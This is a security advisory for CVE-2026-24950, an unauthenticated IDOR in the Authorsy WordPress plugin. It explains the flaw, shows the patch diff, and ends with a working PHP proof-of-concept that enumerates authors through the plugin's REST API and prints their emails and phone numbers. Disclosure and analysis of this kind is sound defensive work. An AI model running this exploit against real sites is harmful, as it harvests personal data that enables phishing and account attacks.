Atomic Edge analysis of CVE-2026-24950:
The Authorsy WordPress plugin prior to version 1.0.7 contains an unauthenticated Insecure Direct Object Reference (IDOR) vulnerability. This flaw allows any remote attacker to retrieve sensitive author information via the plugin’s REST API endpoints without authentication. The vulnerability has a CVSS score of 5.3 (Medium severity).
The root cause lies in the `permission_callback` functions for two REST API routes defined in `/authorsy/core/authors/api-author.php`. Lines 49-51 and 91-93 in the vulnerable version unconditionally return `true`, granting public access to the `get_items` and `get_item` endpoints. These endpoints call methods that expose sensitive author data through the `get_data()` function in `/authorsy/core/authors/author.php`. The `get_data()` method returns fields including user_name, user_email, phone, and role without access control.
Exploitation involves sending unauthenticated GET requests to the Authorsy REST API endpoints. Attackers can enumerate all authors via `/wp-json/authorsy/v1/authors` or retrieve specific author details via `/wp-json/authorsy/v1/authors/{id}`. No authentication tokens, nonces, or special headers are required. The attack vector is entirely unauthenticated, requiring only network access to the WordPress installation with the vulnerable plugin active.
The patch implements two complementary security measures. First, it modifies the `permission_callback` functions in `api-author.php` to require `manage_options` capability (administrator privileges). Second, it restructures the `get_data()` and `get_frontend_data()` methods in `author.php` to conditionally exclude sensitive fields (user_name, user_email, phone, role) unless the requesting user is authenticated via `is_user_logged_in()`. This defense-in-depth approach prevents unauthorized API access while also limiting data exposure if authentication checks are bypassed.
Successful exploitation exposes sensitive Personally Identifiable Information (PII) including author email addresses, phone numbers, usernames, and roles. This information facilitates targeted phishing campaigns, credential stuffing attacks, and social engineering. While the vulnerability does not directly enable privilege escalation or remote code execution, the exposed data significantly aids reconnaissance for subsequent attacks against the WordPress installation and its users.
--- a/authorsy/authorsy.php
+++ b/authorsy/authorsy.php
@@ -4,7 +4,7 @@
* Plugin Name: Authorsy
* Plugin URI: https://themeplugs.com/
* Description: Author box and bio link for WordPress.
- * Version: 1.0.6
+ * Version: 1.0.7
* Requires at least: 5.2
* Requires PHP: 7.3
* Author: themeplugs
@@ -53,7 +53,7 @@
* @return string
*/
public static function get_version() {
- return '1.0.6';
+ return '1.0.7';
}
/**
--- a/authorsy/core/authors/api-author.php
+++ b/authorsy/core/authors/api-author.php
@@ -46,7 +46,8 @@
'methods' => WP_REST_Server::READABLE,
'callback' => [ $this, 'get_items' ],
'permission_callback' => function () {
- return true;
+ // Require administrator privileges to access sensitive author data
+ return current_user_can( 'manage_options' );
},
],
[
@@ -88,7 +89,8 @@
'methods' => WP_REST_Server::READABLE,
'callback' => [ $this, 'get_item' ],
'permission_callback' => function () {
- return true;
+ // Require administrator privileges to access sensitive author data
+ return current_user_can( 'manage_options' );
},
],
[
--- a/authorsy/core/authors/author.php
+++ b/authorsy/core/authors/author.php
@@ -248,16 +248,14 @@
* @return array
*/
public function get_data() {
- return [
+ $is_authenticated = is_user_logged_in();
+
+ $data = [
'id' => $this->get_id(),
'full_name' => $this->get_full_name(),
'first_name' => $this->get_first_name(),
'last_name' => $this->get_last_name(),
- 'user_name' => $this->get_user_name(),
- 'user_email' => $this->get_email(),
- 'phone' => $this->get_phone(),
'image' => $this->get_image(),
- 'role' => $this->get_user_role(),
'social' => $this->get_social(),
'extra_bio' => $this->get_extra_bio(),
'description'=> $this->get_description(),
@@ -265,20 +263,30 @@
'image_id' => $this->get_image_id(),
'permalink' => $this->get_permalink()
];
+
+ // Only include sensitive fields for authenticated users
+ if ( $is_authenticated ) {
+ $data['user_name'] = $this->get_user_name();
+ $data['user_email'] = $this->get_email();
+ $data['phone'] = $this->get_phone();
+ $data['role'] = $this->get_user_role();
+ }
+
+ return $data;
}
/**
- * Get all data for a author
+ * Get all data for a author (frontend/public version)
*
* @return array
*/
public function get_frontend_data() {
- return [
+ $is_authenticated = is_user_logged_in();
+
+ $data = [
'full_name' => $this->get_full_name(),
'first_name' => $this->get_first_name(),
'last_name' => $this->get_last_name(),
- 'phone' => $this->get_phone(),
'image' => $this->get_image(),
- 'role' => $this->get_user_role(),
'social' => $this->get_social(),
'extra_bio' => $this->get_extra_bio(),
'description'=> $this->get_description(),
@@ -286,6 +294,14 @@
'image_id' => $this->get_image_id(),
'permalink' => $this->get_permalink()
];
+
+ // Only include phone and role for authenticated users
+ if ( $is_authenticated ) {
+ $data['phone'] = $this->get_phone();
+ $data['role'] = $this->get_user_role();
+ }
+
+ return $data;
}
/**
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24950 - Authorsy <= 1.0.6 - Unauthenticated Insecure Direct Object Reference
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
// Function to perform unauthenticated GET request
function make_request($endpoint) {
global $target_url;
$url = $target_url . $endpoint;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic-Edge-PoC/1.0');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['code' => $http_code, 'body' => $response];
}
// Exploit 1: Enumerate all authors
echo "[+] Testing author enumeration via /wp-json/authorsy/v1/authorsn";
$result = make_request('/wp-json/authorsy/v1/authors');
echo "HTTP Status: " . $result['code'] . "n";
if ($result['code'] == 200) {
$data = json_decode($result['body'], true);
if (isset($data[0]['id'])) {
echo "[SUCCESS] Retrieved " . count($data) . " author recordsn";
// Display first author's sensitive data if present
if (isset($data[0]['user_email'])) {
echo "[SENSITIVE DATA EXPOSED] First author email: " . $data[0]['user_email'] . "n";
}
if (isset($data[0]['phone'])) {
echo "[SENSITIVE DATA EXPOSED] First author phone: " . $data[0]['phone'] . "n";
}
// Exploit 2: Retrieve specific author details using first ID
$first_id = $data[0]['id'];
echo "n[+] Testing specific author retrieval via /wp-json/authorsy/v1/authors/" . $first_id . "n";
$specific = make_request('/wp-json/authorsy/v1/authors/' . $first_id);
echo "HTTP Status: " . $specific['code'] . "n";
if ($specific['code'] == 200) {
$author_data = json_decode($specific['body'], true);
if (isset($author_data['user_email'])) {
echo "[SUCCESS] Retrieved specific author email: " . $author_data['user_email'] . "n";
}
} else {
echo "[FAILED] Could not retrieve specific authorn";
}
} else {
echo "[FAILED] No author data returned or invalid response formatn";
}
} else {
echo "[FAILED] Endpoint not accessible or patchedn";
}
?>